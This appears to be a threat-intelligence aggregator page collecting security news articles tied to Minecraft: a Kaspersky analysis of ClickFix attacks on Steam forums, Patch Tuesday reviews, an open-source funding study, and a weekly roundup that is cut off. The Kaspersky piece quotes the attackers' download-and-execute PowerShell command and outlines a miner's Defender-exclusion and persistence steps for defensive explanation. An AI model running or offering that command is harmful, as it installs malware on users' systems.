Search/minecraft
Vendor

minecraft

Known CVEs
0
Highest CVSS
In KEV
0
Vendor
minecraft
Connections
13 relationships
ClickFix on Steam forums: how malicious PowerShell commands install a crypto miner | Kaspersky official blog
This year has seen a real boom in ClickFix attacks . It’s such a hit with criminals that we barely finish writing about one variation before it’s time to cover the next. This time, attackers are targeting gamers: tech journalists spotted posts pushing malicious tips on Steam forums. Here’s what these posts look like, what malware they’re used to spread, and how to keep your device safe. ClickFix finds its way onto Steam forums Many gamers turn to their fellow players on Steam forums for help and advice on things like beating a tricky quest, leveling up, scoring the best loot, or working around a bug. And it’s precisely this trust in community advice that attackers have decided to exploit. The attack starts when criminals reply to someone’s question about game crashes, missing inventory items, or other technical issues. Posing as helpful commenters, they suggest opening PowerShell as an administrator and running a command that supposedly fixes the issue the user is having. Disguising their post as troubleshooting advice, the malicious actor suggests running PowerShell as an administrator and executing a command that supposedly fixes the user’s issue. Source As you might guess, running the command doesn’t fix anything — it just opens a whole new can of worms. That’s the whole idea behind ClickFix: using social engineering to trick victims into carrying out unsafe actions themselves while giving the scammers what they need to compromise the device. We’ve covered other ClickFix tricks before — fake CAPTCHAs, bogus browser errors, and more — all of which rely on getting the victim to run the malicious command on their own. You can read more about the different variations of ClickFix attacks in our earlier post. The guile of using ClickFix on Steam forums is that the attack may hit not only the player who asked for help; plenty of other gamers who run into the same issue and find the answer via a Google search can fall for it too. A quick primer: what’s really behind the irm | iex command Before we get into what attackers actually trick gamers into installing this way, we need to cover some technical background. So, first off, the posts on Steam forums advise unsuspecting would-be victims to run the following command in PowerShell: irm msfconfig.icu | iex To someone not intimately familiar with PowerShell, this line might look fairly innocuous — it resembles launching MSConfig, Windows’ built-in system configuration utility, with a few extra parameters. In reality, though, it’s anything but harmless. Let’s break down what each part of this command actually does: irm is short for the built-in PowerShell command Invoke-RestMethod . It reaches out to the web address specified later in the line and retrieves data in response. icu is that web address — not the name of some local file as it might appear at first glance. This is the attackers’ server, and it responds to the irm request with a malicious PowerShell script. iex is another built-in PowerShell command, Invoke-Expression . It takes whatever irm receives from that web address and executes it as PowerShell code. Once run, this line of PowerShell code downloads a script from the specified site and immediately executes it. As one Reddit user rightly pointed out , you can safely find out what code would actually be downloaded to your device — without the risk of it running — just by deleting the second part, iex . Without it, the command will simply download the script’s contents and print them to the PowerShell window without executing them. This gives you the full, unobscured code that you’re being asked to run on your device. Next, let’s look at what these helpful Steam forum posters are actually trying to get gamers to install on their machines. A crypto miner, not an optimization tool The attackers did their homework: the PowerShell script downloaded from their server does a convincing job of mimicking a Windows optimization utility. Once launched, it shows the user a series of notifications claiming to clear temporary files, flush the DNS cache, update drivers, check the disk for errors, disable unnecessary startup apps, scan the system for malware, repair the Windows image, and verify system file integrity. The script displays a stream of messages about various fake optimization tasks to make it look like it’s doing useful maintenance. Source The real activity, meanwhile, happens behind the scenes. The script starts by checking whether it’s running with administrator privileges. If it is, it creates a hidden working folder at C:\Windows\Background , and adds it to Microsoft Defender’s exclusion list. From that point on, any files placed in that folder cease to be scanned by Windows’ built-in antivirus. Next, the script preps the system for the next stage of the attack and downloads an executable from the attackers’ server — saving it into that same C:\Windows\Background folder under the legitimate-sounding name system.exe . The downloaded file is XMRig , one of the most popular tools for mining the Monero cryptocurrency. XMRig itself isn’t malware; it’s a legitimate, open-source mining tool. The problem is that attackers install it on victims’ computers without their knowledge. Once it’s running, the device’s computing power gets hijacked for Monero mining, with the resulting cryptocurrency going straight to the criminals. This makes gamers’ rigs especially appealing targets: modern gaming PCs pack powerful CPUs and GPUs — exactly the kind of hardware that’s great for mining crypto. To make sure the malware survives a reboot, the script also creates a new task in Windows Task Scheduler: XMRig-{computer name} . From then on, it automatically launches the crypto miner every time the system starts up. How to protect your device from crypto miners and other malware Unfortunately, many gamers are reluctant to install security software — or keep it running — on their devices. The main culprit is the persistent myth that “an antivirus slows down your game”. We’ve covered research on this on our blog before, and the results showed no significant performance hit from running an antivirus while playing. The same can’t be said for crypto miners, though — they definitely hurt performance, and they wear down your hardware faster to boot. So what can you do to keep your gaming PC and accounts out of harm’s way? Avoid running PowerShell, Terminal, or other command prompt scripts that strangers suggest you copy and execute — whether on forums, in chats, or in comments. Before hitting Enter on any command you don’t fully understand, look up what it does and the potential fallout from running it. Use a reliable security solution with a gaming mode  that will flag malware download attempts in time and block them from running. Don’t turn off protection while you play. Using a solution with a dedicated gaming mode is the way to go. Kaspersky security products  automatically activate that mode as soon as a game launches, holding off antivirus database updates, notifications, and scheduled disk scans until you’re done playing. Curious how else attackers target gamers? Check out our other posts: Stealka stealer: the new face of game cheats, mods, and cracks Vulnerability in Unity game engine Gamers under fire: malware on official websites Arcane stealer instead of Minecraft cheats Gamers beware: Trojans have invaded Steam
kaspersky.comAug 17, 2026extracted
August 2026 Patch Tuesday forecast: How do we deal with the patch apocalypse?
August 2026 Patch Tuesday forecast: How do we deal with the patch apocalypse? July 2026 Patch Tuesday was record-setting in so many ways. The sheer volume of security patches for almost every product in the Microsoft portfolio was the highest ever and, of course, well over 600 CVEs were identified in the Security Updates Guide. Interestingly, only two CVEs were reported as exploited zero-days and only one as publicly disclosed, but we’ll get back to that later in this article. There were 405 CVEs reported against Windows 11 and Server 2025, and 337 logged for Windows 10 and its associated server versions. There were record numbers of CVEs for Microsoft SharePoint and Office, and also updates for SQL Server, Exchange Server, and .NET framework as well. Did you catch the CVEs reported for Age of Empires and Minecraft Server? Many organizations are still struggling to test and deploy all these patches, and others are asking if there may be another wave coming next week. The impact of AI on vulnerability identification is forcing IT administrators and security professionals to ask questions and drive changes in the patch management industry. Microsoft is even recommending a three-day turnaround on patching, with a two-day grace period to stay ahead of the ‘AI-accelerated’ threats as they continue to grow. As you can imagine, this sparked a debate among several industry experts. They agree the threat will continue to grow but the challenge to meet a three-day requirement is that large enterprises are constrained by testing, change control, and compatibility requirements. That challenge needs to be addressed by building a process that can deploy patches in days for the vulnerabilities that matter most and stays disciplined with everything else. Only a small fraction of disclosed vulnerabilities are ever confirmed as exploited in the wild. I mentioned in my introductory paragraph only three CVEs out of 600+ from July Patch Tuesday were known exploited or publicly disclosed, so there’s no need to focus heavily on all the other patches immediately or to treat every CVE as an emergency. Focus on triaging the CVEs and patches accordingly, assessing your systems’ exposure to the highest vulnerabilities, testing as appropriate for the systems involved, and deploying in risk priority once you’ve completed your assessment. Traditional ring deployment included deployment of almost all patches starting with a small pilot group, then to less critical company systems, and finally installation organization wide. The Patch Apocalypse requires a new approach with a more specific focus on risk: Identify the known exploited or internet facing vulnerabilities as the most critical Match those patches up with the systems in your organization that are at highest risk based on network location, data processed, business criticality, etc. Develop a quick test or an acceptance scenario to ensure the patches do not disrupt those systems. Once that is complete you can deploy this set and move on to the next set of lower priority systems. This approach is key to reducing risk in the Patch Apocalypse. There were a few important items to note from this past month as we go into the August Patch Tuesday. If you are still catching up on deploying the updates from July, you should focus on getting the SharePoint patches out. The Microsoft Security Center announced that CVE-2026-50522, a remote code execution vulnerability, is now actively being exploited. Hackers can steal machine keys using this vulnerability and maintain access after the system is patched. With these keys, a remote attacker can execute code on the SharePoint system. Speaking of hackers, the researcher, Nightmare Eclipse, is in the news again with a disclosed vulnerability being called LegacyHive. Per ACROS Security, ‘The vulnerability allows a regular non-admin user to mount any other user’s registry hive in full access mode, and then either access that user’s stored secrets or modify any values in their registry to affect what gets executed the next time they log in.’ This vulnerability in the Windows User Profile Service has been acknowledged by Microsoft and they are working on a fix. There is no CVE assigned yet, but this is one to look for in the upcoming August release. And finally, if you have edge systems with outdated secure boot certificates, Microsoft has introduced some targeting improvements in the latest Windows 11 24H2 and 25H2 preview patch. This enhancement will ‘increase coverage’ of devices eligible to receive new Secure Boot certificates and should help you out next week with the cumulative updates. There are several products reaching End of Servicing per Microsoft’s Modern Policy, meaning the continuous updates will cease and there is no extended support. Windows 11 Version 24H2 reaches End of Servicing in two months on October 13th, 2026. On November 10th, Windows 11 Version 23H2 Enterprise and Education Editions, as well as Windows 11 IoT Enterprise 23H2, will reach End of Servicing. Microsoft also announced the end of ESU support for Exchange Server 2016/2019 this October. The ESU support has been extended for a six-month period, but will not be extended again so plan accordingly per the announcement’s recommendations. August 2026 Patch Tuesday forecast Microsoft has already said the large volume CVE trend will continue as AI identifies more vulnerabilities. With that already stated, we can expect another large set of updates with many new CVEs reported. I suspect Microsoft fixed a lot of the ‘low hanging fruit’ last month so maybe the number will be back to normal highs we’ve seen in the past. We may not see the entire portfolio updated but most of the products will receive updates again. Adobe had a small set of releases on July 28th for Format Plugins, Bridge, and the on-premise Campaign Classic. It’s hard to know what AI will find and Adobe will fix, but I would consider Photoshop, InCopy, InDesign, and Acrobat Reader high on the list of possibilities since they didn’t have updates in the last month. It’s unlikely Apple will release any updates next week. The last major release was on July 27th for macOS Tahoe 26.6, macOS Sequioa 15.7.8, and macOS Sonoma 14.8.9. These releases had large numbers of reported CVEs with Tahoe having 128 unique CVEs as an example. There was a minor release on August 6th with just CVE-2026-65400, a screen sharing vulnerability, addressed in each. Applying the latest patches will take care of the major release as well since they are cumulative. Google released Chrome Desktop 151.0.7922.108 for Windows on August 6th addressing 41 CVEs. They continue to release security updates weekly, but I suspect we see fewer CVEs with a minor update next week. It’s likely we’ll see Mozilla release some minor updates for Thunderbird and Firefox next week. The last major release was July 21st for Firefox and Thunderbird 153, Firefox ESR 115.38, Firefox ESR 140.13, and Thunderbird 140.13. Welcome to the patch apocalypse! Traditional patching based on vendor severity and flat CVSS values is rapidly being overcome by events. And those events are AI-driven.
helpnetsecurity.comAug 7, 2026extracted
What public money does to open-source projects
What public money does to open-source projects Most of the software running inside a typical company was written by volunteers the company never paid. Open-source code sits under web apps, build pipelines, and the machine learning stacks getting so much attention right now. Roughly 96 percent of codebases carry some of it. That dependence turned visible in December 2021, when the log4j flaw exposed applications from Twitter to Minecraft. The xz utils backdoor of 2024 drove the point home again. Both traced back to tiny volunteer teams looking after code that billions of systems lean on, often in their spare time around day jobs. Everyone uses the code for free, from solo developers to the largest tech firms, and almost no one is on the hook to give anything back. Maintainers burn out. Projects holding up huge chunks of the internet run on a handful of people and a lot of goodwill. Governments started treating this as their problem too. Germany’s Sovereign Tech Fund began in 2022 under the Federal Ministry for Economic Affairs and Climate Action, hosted by SPRIND. It signs maintenance contracts with open-source projects, starting at 50,000 euros and running anywhere from several months to a couple of years. In November 2024 the fund grew into the Sovereign Tech Agency. Its lineup now covers well over a hundred projects, with sister programs pointed at developers and at security work. So what does the money buy? A new study takes a run at exactly that. Laia Domenech Burin, a data scientist at the agency, crunched the numbers on whether paying for maintenance changes what a project puts out. Her approach was to build a stand-in for each funded project out of similar projects that got nothing, then check whether the funded ones pulled ahead. Getting a fair comparison was the hard part. She started with a long list of open source projects that plenty of other software leans on, picked the ones that resembled the funded projects on things like dependent repositories, stars, and forks, and landed on 62 unfunded projects to measure twelve funded ones against. The activity data ran back to 2015. Four funded projects sit at the center: the Python Package Index, curl, Fortran tooling, and RubyGems. These are load-bearing pieces of everyday development. Curl alone reports more than twenty billion installations across phones, cars, televisions, and medical devices. Its funded stretch worked through more than a hundred known bugs and added support for newer versions of the HTTP protocol. The short version of the result is that the money moves the code. Funded projects logged a real rise in commits, in new change requests, and in merged ones. New issues went up too. The picture is a burst of development in the quarters right after a contract gets signed. And the burst is big. Commits roughly doubled and then some, up about 144 percent over where they would have landed with no funding. New issues climbed the most, up by well over double. Change requests moved by amounts in the same range. The margins around these figures are wide, so they point to a direction more than a hard number. Three things stayed flat. The number of contributors barely budged. Release frequency held steady, and so did the count of closed issues. The money got more out of the people already on hand. It pulled in few new ones, and it left the backlog about where it was. That mix is the part worth chewing on. Paying a project speeds up what its current maintainers do. The shortage of hands stays a shortage. Domenech Burin calls the metrics “a compass: they indicate the direction, but not the destination.” The study covers four projects and twelve repositories, a thin base for sweeping claims. The jump in new issues cuts two ways: an engaged crowd filing bug reports, or a growing pile of work no one has time to touch. There is a lesson in here for anyone writing checks for open source, in a company or a government. Growing the contributor base and clearing the backlog sit with the agency’s other efforts, a fellowship for developers and a resilience program aimed at vulnerabilities. Grading a maintenance contract on contributor counts would measure the wrong thing. Match the yardstick to the goal. A fund that pays for maintenance buys speed from current maintainers. Growing the community and working through old items are separate jobs, with their own budgets and their own scorecards. The money keeps critical infrastructure moving. Keeping the people behind it going is a different line in the ledger. Must read: 20 open-source cybersecurity tools to keep your team ready for anything GitHub CISO on security strategy and collaborating with the open-source community Subscribe to the Help Net Security ad-free monthly newsletter to stay informed on the essential open-source cybersecurity tools. Subscribe here!
helpnetsecurity.comJul 16, 2026extracted
Key vulnerabilities of Microsoft’s July 2026 Patch Tuesday
Although experts had already warned of an impending “tsunami of vulnerabilities” back in April, immediately following the announcement of the Mythos AI model, concrete evidence began to emerge over the summer. June’s Patch Tuesday was massive and, at the time, a record-breaker (around 200 CVEs), and right before that, hundreds of fixes were released for Chromium-based browsers, including Chrome and Microsoft Edge. But July revealed this new trend in all its glory. Yesterday’s Patch Tuesday addressed 570 vulnerabilities in Microsoft products, and if we are including the “platform-level” patches that Microsoft applies to its own servers, the total rises to 620. And that’s not even counting the 470 vulnerabilities in Chromium. In just six months, Redmond has already fixed more defects than in any previous year over the past 20 years of observation. Depending on which products are included in the final figures, the number of CVEs may vary slightly; various experts cite figures of 569, 570, 621, 622 — but anyway this figure is three times higher than the previous update package and five to 10 times higher than last year’s typical figures for monthly update. The fixed vulnerabilities are broken down by category as follows: 254 — elevation of privilege (EoP), 145 — remote code execution (RCE), 102 — information disclosure, 35 — denial of service (DoS), 17 — security feature bypass, and 16 — information spoofing. EoP vulnerabilities accounted for nearly 44% of the release, while RCE vulnerabilities accounted for a quarter. Rapid7 experts separately note 416 bugs in Windows itself (also a record), and the fact that the release notes no longer list CVEs individually. Instead, there is a summary table organized by product families and a new section titled “Notable CVEs”. Incidentally, in that section, Microsoft managed to list CVE-2026-56155 twice instead of another zero-day vulnerability. This brevity is partly due to the fact that the update package affects a very broad range of products. Even very old, rarely used components — such as MIDI drivers — have been updated, as well as games, including Age of Empires II (CVE-2026-50663) and Minecraft Bedrock Dedicated Server, where the high-impact CVE-2026-55010 (CVSS 9.8) was found — a heap overflow leading to RCE without authentication. Of the entire set, only three vulnerabilities are classified as zero-day, and 59 have been rated critical. Among the critical vulnerabilities, 48 can lead to RCE, nine to privilege escalation, one to security feature bypass, and one allows spoofing. Vulnerabilities exploited in real-world attacks or known prior to the patch CVE-2026-56155 (CVSS 7.8) — privilege escalation in Active Directory Federation Services. Due to access control flaws, a user with low local privileges can elevate them to administrator level. No details are provided about attacks exploiting this vulnerability, but the description acknowledges the effort of Microsoft DART staff — the incident response team. The vulnerability has already been added to the CISA KEV catalog. CVE-2026-56164 (CVSS 5.3) — privilege escalation via Microsoft SharePoint Server: a lack of authentication for a critical function. The attack complexity for exploiting this vulnerability is low; no authentication or user interaction is required, and Microsoft explicitly states that an attacker doesn’t need in-depth knowledge of the system. Affected versions include SharePoint Enterprise Server 2016, Server 2019, and the Subscription Edition. Credit for the discovery goes to experts at Mandiant Incident Response, Google Cloud, FLARE OTF, and an anonymous contributor — the acknowledgments list once again reads like a breakdown of an active incident, and not just a single one. Until the patch is installed, enabling AMSI with Request Body Scan set to Full can help, but this is a temporary measure, not a substitute for the update. CVE-2026-56164 has also already been added to CISA’s KEV. The third zero-day vulnerability has “merely” been disclosed prior to remediation; there are no reports of it being exploited in attacks. However, this is due to the nature of the vulnerability — we’re dealing with yet another BitLocker bypass — CVE-2026-50661 (CVSS 6.1) — therefore exploitation requires physical access to the machine. Microsoft considers exploitation unlikely, and authorship is attributed to an “anonymous” individual. Presumably, the patch addresses GreatXML — a BitLocker bypass that a researcher going by the nickname Chaotic Eclipse (Nightmare Eclipse) published on June 10, the day after June’s Patch Tuesday. Laptops and any devices that leave the corporate perimeter should be patched as a priority. Critical vulnerabilities in July’s Patch Tuesday There are many critical vulnerabilities, so we’ll highlight only the most urgent ones. In our list, the CVSS score never drops below 9.6. CVE-2026-57092 (CVSS 9.9) — EoP in VMSwitch, allows escape from an isolated environment with full host compromise. A use-after-free vulnerability that allows a low-privileged attacker to cross the virtual machine boundary and gain access to the host. ZDI notes that a similar exploit was demonstrated at Pwn2Own Berlin on ESXi. Hyper-V users need to update VMSwitch today. CVE-2026-56190 (CVSS 9.8) — RCE in RDP, unauthenticated, network-based, no user interaction required. Those with RDP servers accessible via the internet are at critical risk; such configurations are practically unsustainable in 2026. CVE-2026-50518 (CVSS 9.8) — RCE in the DHCP server: heap overflow, unauthenticated, network-based. And this isn’t the only problem with the DHCP server. In this release, it also contains CVE-2026-50370, -56159, and -48564, while the DHCP client contains CVE-2026-54128. CVE-2026-50522 and CVE-2026-58644 (both CVSS 9.8) — a pair of RCE vulnerabilities in SharePoint servers: deserialization of untrusted data, unauthenticated, and without user interaction. Although Microsoft describes the exploit’s reliability as “unproven”, this is, to put it mildly, untrue. For CVE-2026-50522, a working exploit was demonstrated at Pwn2Own Berlin. In the same group is CVE-2026-55040 (CVSS 9.1), an authentication bypass discovered by Rapid7 experts. Exploiting this vulnerability is the first link in the attack chain; the second is currently under embargo and will be disclosed (and patched) in August Patch Tuesday. Together, they enable RCE without authentication. Meanwhile, the July Patch Tuesday marks the end of support for SharePoint Server 2016 and 2019. CVE-2026-56188 (CVSS 9.8) — RCE in the Windows Server network driver. The exploitation is highly complex (TOCTOU), but if successful, this vulnerability allows privileged code to be executed over the network without user interaction — in other words, it enables the creation of network worms. CVE-2026-55008 (CVSS 9.6) — spoofing in Exchange Server (it’s unclear why this is called spoofing, as the description explicitly states “XSS”). An attacker sends a specially crafted email; the victim simply opens it in OWA — and arbitrary JavaScript is executed in their session. The reason behind the “tsunami” and how to deal with it If such patch releases become the norm, without a radical overhaul and automation of vulnerability management processes, security and IT teams will have nothing to do but apply updates. There are indications that this is the new normal, and the tsunami could last for many months — possibly years. At Microsoft, the reason is called MDASH — multi-model agentic scanning harness. A few days before the release, Microsoft officially acknowledged that its AI-powered vulnerability scanning system is actively analyzing critical Windows components, and warned customers that the volume of updates in each release will only increase. That said, Redmond is not alone; Adobe and Cisco, for example, have recently announced an increase in the frequency of their updates. So how can an organization adapt its processes and technologies to this pace and volume of updates? Automate in-depth host scanning, maintain a list of priority patches, install applicable updates, and verify that vulnerabilities are actually patched. With 500+ defects per month, manually transferring tickets from the scanner to a task tracker or launching update tasks simply isn’t possible. Prioritize efforts effectively. It’s nearly impossible to address a release of this magnitude in its entirety all at once, so a process that takes into account the severity of vulnerabilities, the likelihood of them being exploited in the company’s infrastructure, and the business impact becomes absolutely essential. Set up organizational processes. Technically, a patch can often be applied in minutes, but the approval process can take weeks as it makes its way through various departments, as can the process of initiating and managing that approval. Vulnerability management must be tied to an approval process that is as short, simple, and automatically documented as possible. If a decision regarding a specific vulnerability requires setting aside a maintenance window and obtaining approval from an entire committee, the process must be given high priority by that committee. Otherwise, by the time the patch is installed, Microsoft will have released the next 600 vulnerabilities.
kaspersky.comJul 15, 2026extracted
Week in review: Cisco SD-WAN 0-day exploited, Patch Tuesday forecast
Week in review: Cisco SD-WAN 0-day exploited, Patch Tuesday forecast Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: OWASP Agent Memory Guard: Stop AI agents from being weaponized through their own memory Agent Memory Guard is an open-source runtime defense layer that sits between an agent and its memory store, screening every read and write through a pipeline of detectors and a YAML policy. The project is the OWASP reference implementation for ASI06, Memory Poisoning, one entry in the OWASP Top 10 for Agentic Applications. Data discovery gaps that catch enterprises off guard In this interview with Help Net Security, Avani Desai, CEO at Schellman, talks about the gap between what organizations think they know about their data and what discovery scans turn up. She shares stories of shadow data in abandoned cloud storage, post-merger surprises where duplicated datasets slowed integration, and why synthetic data is overmarketed while confidential computing stays underappreciated. Zero trust physical security needs trust decisions at the edge In this interview with Help Net Security, Chuck Davis, VP, Global Information Security at Hikvision, explains how zero trust applies to physical security systems like cameras and door controllers. He breaks down how to make trust decisions at the edge without recreating old perimeter assumptions, why these devices should be treated as IT assets, and what the Mirai botnet taught the industry. A small Slovenian team handles 6,000 cyber incidents a year Online fraud complaints, ransomware cases, and phishing tips reach Slovenia’s national cyber response center in steady volume, and a team of around a dozen analysts sorts through them. Gorazd Božič, who manages SI-CERT at the public agency ARNES, described that work in an interview conducted in person at the Span Cyber Security Arena conference. He put the original proposal for a Slovenian CERT to ARNES leadership in 1994, and the center now records about 6,000 incidents a year, up from roughly 300 ten to fifteen years earlier. Only 11% of production agents pass the AI agent security bar Enterprise teams are running AI agents that write code, drive browsers, answer customer calls, manage cloud infrastructure, and query data warehouses with standing credentials. A new independent assessment of 100 production agents finds that nearly all of them carry the conditions for a single hostile document to take them over. Spotless compliance evidence can still hide a broken control In this interview with Help Net Security, Marc Rubbinaccio, Head of Cybersecurity and Compliance at Secureframe, explains where security teams go wrong when preparing for CMMC and FedRAMP 20x. The conversation covers how organizations check the 110 requirements but miss the 320 assessment objectives beneath them, why spotless SOC 2 evidence can hide a broken control, and how continuous monitoring is changing compliance work. OAuth marketplace apps keep access after publishers vanish Installing an app from the Google Workspace Marketplace or GitHub Marketplace can grant a third party access to company email, files, calendars, code repositories, CI workflows, organization settings, and secrets. Marketplace presence gives these apps the appearance of approval. The OAuth grants behind them often reach into business systems beyond the listed function. Thieves can pull off keyless car theft in under a minute and here’s how to stop them A keyless car can be stolen in under a minute. Two people, a pair of cheap radio amplifiers, and a fob sitting on a hallway table inside the house. That is enough. No broken glass. No alarm. No sound. The vulnerability runs across the global market. Germany’s largest auto club, ADAC, runs ongoing tests of keyless models against relay attacks. AgentGG: Open-source agentic SAST scanner Static analysis tools have spent years matching source code against known-bad patterns and handing engineers long lists of candidate issues to triage by hand. AgentGG approaches the same job with AI agents that read the code, follow imports, walk the call graph, and confirm a finding before they report it. The project is an open-source agentic SAST scanner released under the Apache 2.0 license. Hackers are exploiting Palo Alto GlobalProtect VPN authentication bypass (CVE-2026-0257) Authentication bypass vulnerabilities (CVE-2026-0257) in Palo Alto Networks’ firewalls that the company disclosed on May 13 have been targeted in “limited exploit attempts”. The good news, though, is that the company hasn’t observed any indication of successful lateral movement from the devices. How NIST fumbled management of the National Vulnerability Database A US federal watchdog has outlined how the National Institute of Standards and Technology (NIST) failed to effectively manage the growing backlog of unprocessed cybersecurity vulnerabilities in the National Vulnerability Database (NVD). Windows Netlogon RCE exploited, domain controllers at risk (CVE-2026-41089) CVE-2026-41089, a critical Windows Netlogon RCE flaw that allows remote code execution, is now actively exploited in the wild, the Centre for Cybersecurity Belgium (CCB) warned last Friday. CVE-2026-41089 is a stack-based buffer overflow vulnerability in Windows Netlogon, the service and protocol that handles authentication and security within a Windows domain environment. Google fixes actively exploited Android vulnerability (CVE-2025-48595) Google has announced the June 2026 Android security updates, which fix a bucketload of vulnerabilities, including a high-severity vulnerability (CVE-2025-48595) in the Android Framework that “may be under limited, targeted exploitation.” Autonomous AI-driven worm can reason its way through corporate networks Researchers at the University of Toronto, the Vector Institute, and the University of Cambridge have built and tested a proof-of-concept AI-driven worm that does not operate on a fixed list of exploits. Instead, it analyzes each target it encounters, reasons about how to attack it, and creates a strategy on the fly, all with the help of a small, free large language model (LLM) running directly on machines it has already compromised. Cisco SD-WAN 0-day exploited, no patch available (CVE-2026-20245) A 0-day privilege escalation vulnerability (CVE-2026-20245) in Cisco Catalyst SD-WAN Manager that has yet to be patched by Cisco is being leveraged by attackers. June 2026 Patch Tuesday forecast: Where are the CVEs? Forecast from last month was only partly right. After the Anthropic Mythos announcements and the deluge of newly discovered vulnerabilities from vendors like Mozilla, Microsoft’s updates were standard fare, 65 CVEs reported in Windows 11 and 58 in Windows 10. The modern-day business can learn a lot about risk from this year’s mega events Every year brings its share of global events, but 2026 is proving to be a banner year for mega-scale entertainment. The year got off to a roaring start with the Winter Olympics, and now anticipation is building for the fast-approaching FIFA World Cup. But amid the buzz, have you ever paused to consider the staggering level of risk inherent to such large-scale events? Or how impressive it is that organizers are able to manage that risk so successfully? From critical to controlled: Cutting vulnerabilities in a live manufacturing environment A vulnerability scanner flags a critical CVSS 10 vulnerability on an industrial asset. The report lands in the boss’ inbox and now he wants to know why we’re sitting on a critical vulnerability. In a normal IT environment, you patch it then close the ticket and call it a day. If, however, you’re in OT or dealing with ICS in a live manufacturing facility, it’s rarely that simple. Why you need BAS and autonomous pentesting together A new autonomous penetration testing tool delivers impressive results at first—finding critical issues, uncovering undocumented attack paths, and exposing forgotten accounts. But by the fourth or fifth run, the discoveries dry up. The tool keeps reporting the same stale issues, and the dashboard becomes another source of noise. What seemed like continuous validation quietly turns into a repeat of the same well-worn attack paths. Governing shadow AI without killing innovation In this Help Net Security video, Alan Snyder, CEO at NowSecure, talks about governing shadow AI without stopping innovation. He frames the problem as two opposing forces. Companies need to adopt AI fast because attackers and competitors will outpace them otherwise, but they also need to do it safely. What CISOs need to do about post-quantum migration in the next 24 months In this Help Net Security video, Garfield Jones, SVP Global Strategy and Research, QuSecure, lays out what CISOs should do over the next 24 months. A recent Google paper moved the expected arrival of a cryptographically relevant quantum computer from 2035 to 2029, leaving organizations about two and a half years to prepare. AI agent governance gets harder when agents outnumber your people In this Help Net Security video, Amit Gautam, CTO at Abluva, explains the security risks that autonomous AI agents bring into enterprise environments. EU organizations buckle under rising compliance pressure Cybersecurity governance in the EU is shifting under expanding frameworks such as NIS2 and DORA, while AI raises new questions for security teams. What the future brings is hard to predict, and organizations must find a way to cope. Antonija Vojnović, Governance, Risk and Compliance Department Manager at Span, spoke with Help Net Security at the Span Cyber Security Arena conference about how these regulatory frameworks are shaping compliance priorities and day-to-day decision-making. DNS-AID lets AI agents find and verify each other through DNS AI agents run across many platforms, and each one needs a way to locate and confirm the identity of the others it works with. The Linux Foundation’s DNS-AID project gives them that capability through the Domain Name System, the same address lookup system that has directed internet traffic for decades. The project lets AI agents and Model Context Protocol (MCP) servers use DNS as a global, vendor-neutral directory for publishing, discovering, and verifying one another. Brute-force attack triggers Dashlane account lockouts Password manager Dashlane has confirmed that a brute-force attack targeting user accounts triggered temporary account suspensions and authentication issues. The company first acknowledged the incident on May 31 after users reported receiving account suspension emails and experiencing login problems. Meta tries to get ahead of scammers before the World Cup begins Football fans are counting down the days until the FIFA World Cup begins, and scammers are doing the same. Last week, the FBI warned that cybercriminals are spoofing FIFA websites to steal personal information, sell fake tickets, and promote fraudulent hospitality packages ahead of the tournament. Sensitive government personnel data posted online, Spanish police arrest suspect The Spanish National Police arrested a man in Granada for allegedly leaking personal data belonging to members of several sensitive state institutions. 64,000 accounts exposed in breach of GTA V cheat service Atlas Menu Atlas Menu, a cheat service for Grand Theft Auto V and Counter-Strike 2, has been added to the Have I Been Pwned database following a data breach that exposed tens of thousands of user records. The incident exposed approximately 64,000 accounts, including email addresses, usernames, IP addresses, support tickets, and passwords hashed with bcrypt. Anthropic expands Project Glasswing to 150 organizations in more than 15 countries Anthropic is expanding Project Glasswing, its cybersecurity initiative built around the Claude Mythos Preview model, by adding about 150 organizations following several weeks of work with its initial group of partners, security firms, open-source maintainers, and government agencies. Malware campaign targeting Minecraft users infects over 116,000 systems A Malware-as-a-Service (MaaS) operation named WeedHack is targeting Minecraft users and allows threat actors to gain remote access to victims’ screens, webcams, and files through a web-based dashboard, McAfee researchers found. Microsoft responds to security challenges facing code, AI agents, and models Microsoft has introduced a series of security tools and capabilities focused on AI-driven vulnerability discovery, AI agents, and AI models. The updates include a multi-agent vulnerability discovery system, new controls for managing and securing AI agents, data protection capabilities, and tools designed to identify potentially vulnerable or compromised AI models before deployment. AI is helping low-skill hackers pull off advanced cyberattacks Anthropic has published an analysis of cyber-related misuse of its AI systems, examining 832 accounts that were banned for malicious cyber activity between March 2025 and March 2026. The company mapped the observed behavior to the MITRE ATT&CK framework, which documents tactics and techniques used by attackers. Attackers obtained encrypted password vaults from some Dashlane user accounts Dashlane has disclosed new details about a brute-force attack that let a threat actor access some customer accounts and copy encrypted vaults. Dashlane said it found no evidence that the attackers compromised its internal systems. The company first acknowledged the incident on May 31 after users reported receiving account suspension emails and experiencing login problems. 145 AI laws passed in 2025 and privacy teams aren’t catching a break 145 AI-related laws were enacted by state legislatures in 2025, and more than 1,000 additional bills were introduced or revised, according to DataGrail’s Privacy and AI Trends Report 2026. NVIDIA goes open source with a big batch of physical AI agent tools NVIDIA just dropped a big batch of open-source “physical AI” skills and tools, and they’re designed to make a roboticist’s life a whole lot easier. The idea? Take the messy, complicated work behind robots, self-driving cars, vision AI, and industrial digital twins, and break it into bite-sized tasks that AI agents can actually run themselves. Microsoft Defender Vulnerability Management gets a smarter exposure score Microsoft Defender Vulnerability Management’s updated exposure score model adds vulnerability risk signals and asset context to help teams understand where risk is concentrated and which remediation actions are likely to have the greatest impact. The model is available in public preview. This AI model backdoor attack stays hidden until you customize the model Most teams that deploy AI start with a backbone model. They download a large pre-trained system, adapt it to a specific task, and put it into production. The download step carries a security question: the origin of the model. A research team built an attack called BadBone. It plants a backdoor inside a backbone model. Downstream tasks that adapt the model inherit the backdoor. The name points at the target. Corrupt the skeleton, and systems built on top of it carry the flaw. OpenAI brings frontier AI to existing AWS environments OpenAI frontier models and Codex are now available on AWS, giving customers access to OpenAI capabilities within AWS environments and the controls needed to move more quickly from evaluation to deployment. These capabilities are available through OpenAI models on Amazon Bedrock, a platform for building generative AI applications and agents at production scale. The platform enables teams to build AI applications using AWS-native security and governance controls. KDE Linux security audit cuts kernel modules and unused packages KDE Linux, the in-progress operating system from the KDE community, removed several kernel modules and software packages after a security audit of the components shipped with the system. The work followed the discovery of multiple security issues in the upstream Linux kernel during the prior month. Codex knowledge work expands into research, reports, and spreadsheets Office workers in the United States lose hours each week to email triage and to searching for files spread across disconnected systems. Roughly 40 percent of US labor, about 72 million people, works primarily with information such as analysis, documents, 